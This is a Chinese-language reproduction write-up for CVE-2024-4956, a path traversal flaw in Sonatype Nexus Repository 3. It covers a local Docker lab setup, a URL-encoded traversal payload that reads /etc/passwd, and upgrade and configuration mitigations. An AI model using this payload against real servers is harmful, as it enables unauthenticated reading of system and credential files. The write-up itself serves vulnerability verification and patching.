CVE-2024-4956 Nexus Repository3 任意文件读取漏洞复现与验证

一、组件介绍

  Sonatype Nexus Repository 3(通常简称为Nexus3)是一个由Sonatype开发的仓库管理工具,用于管理和托管各种软件构件(如Maven构件、Docker镜像等),它提供了一种集中化的方式来存储、管理和分发软件构件,以帮助团队协作和构建自动化。

二、漏洞描述

  2024年5月20日,Sonatype Nexus Repository 3中修复了一个路径遍历漏洞,该漏洞漏洞编号为:CVE-2024-4956,Sonatype Nexus Repository 3.0.0 – 3.68.0版本中存在路径遍历漏洞,未经身份验证的威胁者可构造恶意URL下载目标系统上的任意文件,包括Nexus Repository 应用程序范围之外的系统文件,成功利用该漏洞可能导致应用程序源代码、配置和关键系统文件等敏感信息泄露。

三、影响版本

Sonatype Nexus < 3.68.1

四、漏洞复现与验证

1、环境搭建

docker run -p 8081:8081 sonatype/nexus3:3.68.0-java8

注意,不使用-d是方面在前台看是否启动成功,这个的启动时间比较久,需要五六分钟,方便看是否有报错的地方

7e586b1f5fdc69b5fa82b8cb9fa1d33c.png

看到有以上相关的日志信息时,即为环境搭建成功。

2、访问Sonatype Nexus

在浏览器中打开http://ip:8081,验证是否成功,出现以下即为成功8f658ac75fa341c87bbd89da720fd584.png
3、漏洞复现
使用burp抓包
4、改包,提交payload
/%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
////////../../../../../../../etc/passwd #转码前

五、修复建议

1.升级版本

  目前该漏洞已经修复,受影响的用户可升级到 Sonatype Nexus Repository OSS/Pro 3.68.1或更高版本。

  下载链接:https://help.sonatype.com/en/download.html

2 临时措施

  无法立即升级的用户,可通过编辑/etc/jetty/jetty.xml 并删除文件中的以下行来缓解该漏洞:

 <Set name="resourceBase"><Property name="karaf.base"/>/public</Set>

  重启 Nexus Repository,使更改生效。